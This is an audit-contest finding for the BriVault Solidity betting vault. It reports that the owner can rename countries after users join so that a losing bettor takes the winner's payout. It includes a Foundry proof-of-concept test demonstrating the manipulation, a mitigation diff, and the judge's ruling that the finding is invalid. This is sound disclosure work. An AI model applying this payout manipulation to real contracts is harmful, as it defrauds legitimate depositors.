BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Owner Can Replace Country Names Post-Join to Let Losers Claim Winner Shares and Dilute Legitimate Payouts

Critical: Owner Changes Countries After Event Start Replacing Winner

Description

  • Users deposit and join by selecting a countryId, mapping their address to the country name for winner validation post-event.

  • The owner can call setCountry() after joins to replace country names, making a loser's bet match the winner string, allowing claim via withdraw() while diluting legitimate winners.

function setCountry(string[48] memory countries) public onlyOwner { // @> No check for prior setup
for (uint256 i = 0; i < countries.length; ++i) { // @> Overwrites teams array anytime
teams[i] = countries[i];
}
emit CountriesSet(countries);
}

Risk

Likelihood:

  • Occurs after any user calls joinEvent() but before setWinner(), as setCountry() has no restrictions.

  • Owner has sole access, and events can last hours/days, providing ample window.

Impact:

  • Losers claim winner payouts

  • Dilutes legitimate winners' funds

Proof of Concept

Overview:

Owner replaces country names post-join, enabling a loser to claim as winner and overclaim shares.

Actors:

  • Attacker: Owner + loser bettor (overclaims via manipulated validation).

  • Victim: Legitimate winners (diluted payouts/locked funds).

  • Protocol: Vault contract trusts mutable names for userToCountry vs winnerCountryId check.

file test/BriVaultExploitTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// solhint-disable-next-line no-unused-import
import {IERC20Errors} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract BriVaultExploitTest is Test {
using Math for uint256;
uint256 internal constant FEE_BASE = 10000;
uint256 internal constant FEE_BSP = 100; // 1%
uint256 internal constant AFTER_FEE = FEE_BASE - FEE_BSP;
uint256 internal constant MIN_AMOUNT = 0.001 ether;
uint256 internal constant ATTACKER_AMOUNT = 1 ether;
uint256 internal constant USER1_AMOUNT = 5 ether;
uint256 internal constant WINNER_COUNTRY_ID = 0;
uint256 internal immutable startTime = block.timestamp + 1 days;
uint256 internal immutable endTime = startTime + 30 days;
MockERC20 internal immutable token = new MockERC20("Mock", "MTK");
BriVault internal vault;
address internal owner = makeAddr("owner");
address internal attacker1 = makeAddr("attacker1");
address internal attacker2 = makeAddr("attacker2");
address internal user1 = makeAddr("user1");
address internal feeAddr = makeAddr("feeAddr");
string[48] internal countries;
uint256 internal totalWinnerShares;
uint256 internal finalizedVaultAsset;
function setUp() external {
for (uint256 i = 0; i < 48; i++) countries[i] = vm.toString(i);
_deployVault(MIN_AMOUNT);
_deposit(attacker1, attacker1, ATTACKER_AMOUNT);
_deposit(user1, user1, USER1_AMOUNT);
}
function _deployVault(uint256 minAmount) internal {
vm.startPrank(owner);
vault = new BriVault({
_asset: IERC20(address(token)),
_participationFeeBsp: FEE_BSP,
_eventStartDate: startTime,
_participationFeeAddress: feeAddr,
_minimumAmount: minAmount,
_eventEndDate: endTime
});
vault.setCountry(countries);
vm.stopPrank();
}
function _deposit(address user, address receiver, uint256 assets) internal {
token.mint(user, assets);
vm.startPrank(user);
token.approve(address(vault), assets);
vault.deposit(assets, receiver);
vm.stopPrank();
finalizedVaultAsset += assets.mulDiv(AFTER_FEE, FEE_BASE);
}
function _joinEvent(address user, uint256 countryId) internal {
vm.prank(user);
vault.joinEvent(countryId);
if (countryId == WINNER_COUNTRY_ID) totalWinnerShares += vault.balanceOf(user);
}
function _withdraw(address user, uint256 userShares, string memory label) internal returns (uint256 userBalance) {
vm.prank(user);
vault.withdraw();
userBalance = userShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
assertEq(userBalance, token.balanceOf(user), string(abi.encodePacked(label, " wrong balance")));
}
function _erc4626RedeemOrWithdraw(bool useRedeem, address user, string memory label) internal {
uint256 amountShares = vault.balanceOf(user);
uint256 amountAssets = vault.convertToShares(amountShares);
vm.prank(user);
useRedeem ? vault.redeem(amountShares, user, user) : vault.withdraw(amountAssets, user, user);
assertEq(
token.balanceOf(user),
amountAssets,
string(abi.encodePacked(label, " did not receive correct amount"))
);
}
function _endEventAndSetWinner() internal {
vm.warp(endTime + 1 seconds);
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
}
}

file test/PocC01.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {BriVault, BriVaultExploitTest, Math} from "./BriVaultExploitTest.t.sol";
contract PocC01 is BriVaultExploitTest {
using Math for uint256;
function test_criticalOwnerChangesCountriesAfterEventStartReplacingWinner() external {
// Step 1: Attacker bets on losing country (ID 1), user1 on winner (ID 0)
uint256 loosingCountryId = (WINNER_COUNTRY_ID + 1) % countries.length;
emit log_named_uint("Winner Country ID", WINNER_COUNTRY_ID);
emit log_named_uint("Loosing Country ID", loosingCountryId);
_joinEvent(attacker1, loosingCountryId);
assertEq(vault.userToCountry(attacker1), countries[loosingCountryId], "Attacker mapped to losing country");
_joinEvent(user1, WINNER_COUNTRY_ID);
assertEq(vault.userToCountry(user1), countries[WINNER_COUNTRY_ID], "User1 mapped to winning country");
// Step 2: Warp to event start (deposits locked)
vm.warp(startTime + 1 seconds);
// Step 3: Owner swaps country names (WINNER_COUNTRY_ID now maps to loser's name)
countries[WINNER_COUNTRY_ID] = vm.toString(loosingCountryId);
countries[loosingCountryId] = vm.toString(WINNER_COUNTRY_ID);
vm.prank(owner);
vault.setCountry(countries);
assertEq(
vault.getCountry(WINNER_COUNTRY_ID),
vm.toString(loosingCountryId),
"Owner replaced winner country name"
);
// Step 4: End event and set winner (now manipulated to favor attacker)
_endEventAndSetWinner();
assertEq(vault.winner(), vm.toString(loosingCountryId), "Winner is now the losing country name");
assertEq(vault.winnerCountryId(), WINNER_COUNTRY_ID, "winnerCountryId unchanged");
// Step 5: Attacker claims as "winner" (loser bet now valid)
uint256 attackerShares = vault.balanceOf(attacker1);
uint256 manipulatedPayout = attackerShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
uint256 attackerBalance = _withdraw(attacker1, attackerShares, "Attacker1");
assertEq(attackerBalance, manipulatedPayout, "Attacker received manipulated payout");
emit log_named_uint("Attacker deposit", ATTACKER_AMOUNT);
emit log_named_uint("Attacker balance", attackerBalance);
// Step 6: Victim (legitimate winner) reverts on withdraw
vm.expectRevert(BriVault.didNotWin.selector);
vm.prank(user1);
vault.withdraw();
// Final logs: Show dilution (vault not empty, but victim locked out)
uint256 fairPayout = (ATTACKER_AMOUNT + USER1_AMOUNT).mulDiv(AFTER_FEE, FEE_BASE);
uint256 vaultBalance = token.balanceOf(address(vault));
emit log_named_uint("Fair total payout", fairPayout);
emit log_named_uint("User1 deposit after fee", USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE));
emit log_named_uint("Vault assets balance", vaultBalance);
}
}

Recommended Mitigation

Explanation:

  • Method setCountry() becomes one-time.

  • Store countryId, not name (string).

  • Check countryId → gas-efficient, secure.

+error CountriesAlreadySet();
-mapping (address => string) public userToCountry;
+mapping (address => uint256) public userToCountryId;
function setCountry(string[48] memory countries) public onlyOwner {
+ if (bytes(teams[0]).length != 0) revert CountriesAlreadySet();
for (uint256 i = 0; i < countries.length; ++i) {
+ if (bytes(countries[i]).length == 0) revert invalidCountry();
teams[i] = countries[i];
}
emit CountriesSet(countries);
}
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
- userToCountry[msg.sender] = teams[countryId];
+ userToCountryId[msg.sender] = countryId;
...
}
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
- keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
- keccak256(abi.encodePacked(winner))
+ userToCountryId[msg.sender] != winnerCountryId
) {
revert didNotWin();
}
...
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

setCountry() Can Be Called After Users Join

This is owner action.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!